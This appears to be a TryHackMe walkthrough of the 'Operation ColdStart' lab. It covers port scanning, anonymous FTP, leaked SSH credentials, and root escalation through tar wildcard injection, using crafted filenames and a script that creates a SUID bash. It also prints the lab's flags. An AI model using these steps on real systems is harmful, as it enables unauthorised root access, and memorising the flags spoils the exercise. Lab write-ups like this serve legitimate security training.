Operation Coldstart Walkthrough

Operation ColdStart - TryHackMe Walkthrough#

Machine Information#

Scenario#

Operation ColdStart is an easy Linux-based machine where our objective is to compromise the target, gain user access, and ultimately escalate privileges to root.

Target IP:

10.48.137.97

Reconnaissance#

Initial Nmap Scan#

As always, we begin with a full TCP port scan.

nmap -p- --min-rate 5000 -T4 10.48.137.97

Results#

PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Interesting.

The target exposes:

• FTP
• SSH
• HTTP

Service Enumeration#

Perform version detection.

nmap -sCV -p21,22,80 10.48.137.97

Results#

21/tcp open  ftp     vsftpd 3.0.5
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu
80/tcp open  http    gunicorn

Additional findings:

Anonymous FTP Login Allowed

and

URL Preview - Volt Labs

The web application appears to be running behind Gunicorn.

FTP Enumeration#

Since anonymous FTP access is enabled, this becomes the first attack surface.

Connect:

ftp [email protected]

Browsing the FTP server reveals:

pub

Inside the directory is a backup archive.

backup.tar.gz

Download the archive and extract it.

tar -xvf backup.tar.gz

Extracted contents:

README.md
app.py
requirements.txt

This is a major discovery because we now possess the application’s source code.

Source Code Review#

Reviewing:

app.py

reveals important logic.

One particularly interesting configuration:

ALLOWED_HOSTS = {"kestrel.thm"}

This suggests the application internally trusts requests directed toward:

kestrel.thm

Further code review reveals references to internal resources.

One notable endpoint:

/admin/notes

Accessing Internal Notes#

Using the discovered host information, the internal notes page becomes accessible.

Visiting:

http://kestrel.thm/admin/notes

returns:

=== INTERNAL ===

SSH access for staging:

user: webdev
pass: V0ltLabs#summer

- Mara

Critical credentials have been exposed.

Initial Access#

Attempt SSH authentication using the recovered credentials.

ssh [email protected]

Password:

V0ltLabs#summer

Authentication succeeds.

Verify access:

whoami

Output:

webdev

Initial foothold obtained.

User Flag#

Read the user flag.

cat user.txt

Output:

THM{96dc7bd50d2fb98fcece01560788b5ab}

User access achieved.

Privilege Escalation#

Checking sudo permissions:

sudo -l

Output:

Sorry, user webdev may not run sudo on coldstart.

No direct sudo privileges are available.

We must continue local enumeration.

Cron Job Discovery#

Investigating scheduled tasks reveals:

cat /etc/cron.d/voltlabs-backup

Contents:

# Volt Labs staging backup - runs as root

SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

* * * * * root cd /opt/backups && tar czf /var/backups/uploads.tgz *

This is extremely interesting.

A root-owned cron job executes:

tar czf /var/backups/uploads.tgz *

every minute.

The use of:

*

creates a classic wildcard injection opportunity.

Wildcard Injection#

Tar is vulnerable to command-line argument injection when wildcard expansion is abused.

Reference:

HackTricks - Tar Wildcard Privilege Escalation

Move into the backup directory.

cd /opt/backups

Create a payload.

echo 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' > shell.sh

Create malicious filenames:

touch -- '--checkpoint=1'

touch -- '--checkpoint-action=exec=sh shell.sh'

These files will be interpreted as tar arguments when the cron job executes.

Waiting for Cron Execution#

After approximately one minute, the root cron job processes the directory.

The injected arguments cause:

shell.sh

to execute as root.

This creates:

/tmp/bash

with the SUID bit set.

Verify:

ls -l /tmp/bash

The binary is now owned by root and executable with elevated privileges.

Root Access#

Execute:

/tmp/bash -p

The -p flag preserves privileges.

Verify:

whoami

Output:

root

Root shell obtained.

Root Flag#

Navigate to root’s directory.

cd /root

Contents:

flag.txt

Read the flag.

cat flag.txt

Output:

THM{e6ee84a483d67ade06936fcfd1433e8a}

Root compromise complete.

Flags#

User#

THM{96dc7bd50d2fb98fcece01560788b5ab}

Root#

THM{e6ee84a483d67ade06936fcfd1433e8a}

Attack Path Summary#

Nmap Scan
      │
      ▼
Anonymous FTP Access
      │
      ▼
Download backup.tar.gz
      │
      ▼
Source Code Review
      │
      ▼
Discover kestrel.thm
      │
      ▼
Internal Notes Access
      │
      ▼
Recover SSH Credentials
      │
      ▼
SSH as webdev
      │
      ▼
User Flag
      │
      ▼
Cron Job Enumeration
      │
      ▼
Root Tar Backup Job
      │
      ▼
Wildcard Injection
      │
      ▼
Create SUID Bash
      │
      ▼
Execute /tmp/bash -p
      │
      ▼
Root Shell
      │
      ▼
Root Flag

Key Takeaways#

• Anonymous FTP access can expose highly sensitive application backups.
• Source code review often reveals hidden hosts, endpoints, and credentials.
• Internal notes and developer artifacts frequently leak operational secrets.
• Cron jobs running as root should always be reviewed during privilege escalation.
• Wildcard expansion vulnerabilities remain a common Linux privilege escalation vector.
• Tar argument injection is a classic example of insecure automation practices.
• SUID binaries can be leveraged to maintain elevated privileges after exploitation.

Machine rooted successfully.

Adapted from naval0505/TryHackMe—Writeups under MIT.